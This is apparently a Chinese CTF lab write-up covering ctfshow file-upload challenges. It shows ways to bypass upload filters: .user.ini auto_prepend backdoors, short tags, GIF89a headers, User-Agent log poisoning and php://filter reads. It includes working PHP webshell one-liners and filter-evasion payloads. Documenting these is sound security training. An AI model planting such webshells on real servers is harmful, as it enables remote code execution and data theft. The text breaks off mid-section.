文件上传

以下题目均来自于ctfshow web入门练习题文件上传部分。

前端校验

查看源代码,发现button里检验是不是png:

1
2
3
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept:'images',exts:'png'}">
<i class="layui-icon">&#xe67c;</i>上传图片
</button>

两种方法绕过:

方法一

直接在elements修改源代码,把png改成php,之后上传1.php,里边写一句话木马:

1
2
3
<?php system('tac ../flag.php');?>

<?php @eval($_POST["a"]); ?> //需要蚁剑连接,连接密码为参数a

方法二

将1.php修改后缀为png,burp抓包后再修改成php。

后端校验

后端校验1

就是会加一个对文件类型的检验,即Content-Type: image/png,这个单纯改文件后缀没用,因此只能用burp抓包。

1
2
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

将上述抓包内容中的1.png修改为1.php即可。

后端校验2

后台检测了文件后缀,不能为php,否则报错文件类型不合规

考虑使用.user.ini绕过。

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

php 配置项中有两个配置可以起到一些作用:

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

这两个配置项的作用相当于一个文件包含,比如

1
2
3
4
5
// .user.ini
auto_prepend_file=1.png
// 1.png
<?php system('tac ../flag.php');?>
// index.php(任意php文件,一般是index.php)

满足这三个文件在同一目录下,则相当于在index.php文件里插入了包含语句require(‘1.png’),进行了文件包含

另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。

局限

.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件(一般是index.php),通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

利用思路

  • 首先上传.user.png,里边写auto_prepend_file = 1.png,burp抓包修改后缀为.ini。

  • 之后,上传1.png,里边写一句话木马。

  • 最后访问upload/index.php。

后端校验3

后台检测了文件内容,不能有php,否则报错文件内容不合规

可以使用php大小写或短标签绕过(这题不知道为什么短标签不行),在上一题的基础上修改1.png内容:

1
<?pHp system('tac ../flag.*');?>

后端校验4

严格过滤了php,因此大小写绕过失效,这题需要用短标签绕过:

1
<? system('tac ../flag.*');?>

后端校验5

过滤了php、[ 符号,如果使用<? @eval($_POST["a"]); ?> 的话将[]替换成{}即可绕过,或者用<? system('tac ../flag.*');?>直接同上。

后端校验6

过滤了php、[、{,由于我们 $_POST[] 只使用一个参数并且为数组格式,考虑使用 array_pop() 弹出最后一个单元,如果使用<? @eval($_POST["a"]); ?> 的话替换成<? eval(array_pop($_POST)); ?>即可绕过,或者用<? system('tac ../flag.*');?>直接同上。

后端校验7

过滤了php、[、{、;、log

1
2
3
4
5
6
#法一
<? eval(array_pop($_POST));?>
#法二
<? system('tac ../fl*');?>
#法三
<? include 'tac /var/l'.'og/nginx/access.l'.'og'; ?>

后端校验8

过滤了php、[、{、;、log、(

过滤了()意味着过滤了函数,上题法一和法二均失效,但是include可以不使用()。

Nginx日志的默认路径:/var/log/nginx/

1
<?include '/var/lo'.'g/nginx/access.l'.'og'?>     //用.分割是因为过滤了log

因为日志文件中会将User-Agent的内容都写入进去,于是尝试在UA段里写入一句话木马。

需要修改User-Agent为一句话木马: <?php system('tac ../flag.php');?>

或使用反引号:

1
<?= `tac ../f*` ?>            //这里=不能省略不知道为什么,可能是版本的原因。另外不能在后边加; 可能是短标签的原因。

后端校验9

过滤了php、[、{、;、log、(、空格。

方法一

在上题基础上多了空格,删去空格即可。

1
<?include'/var/lo'.'g/nginx/access.l'.'og'?>

同样需要修改User-Agent为一句话木马: <?php system('tac ../flag.php');?>

方法二

因为include的原因,可以使用伪协议读取:

1
<?include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

之后base64解码即可。

后端校验10

后端用getimagesize()对文件头做了检测。

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

所以在上题的基础上都加个 GIF89a 图片头就可以了。同理,.user.ini也得加

因此,修改1.png:

1
2
GIF89a
<?include'/var/lo'.'g/nginx/access.l'.'og'?>

后端校验11

再前一题的基础上又过滤了.和flag,因此包含不了.log文件了,尝试包含session文件

方法一

include包含,继续上传.user.ini,修改为:

1
2
GIF89A
auto_append_file=/tmp/sess_hacker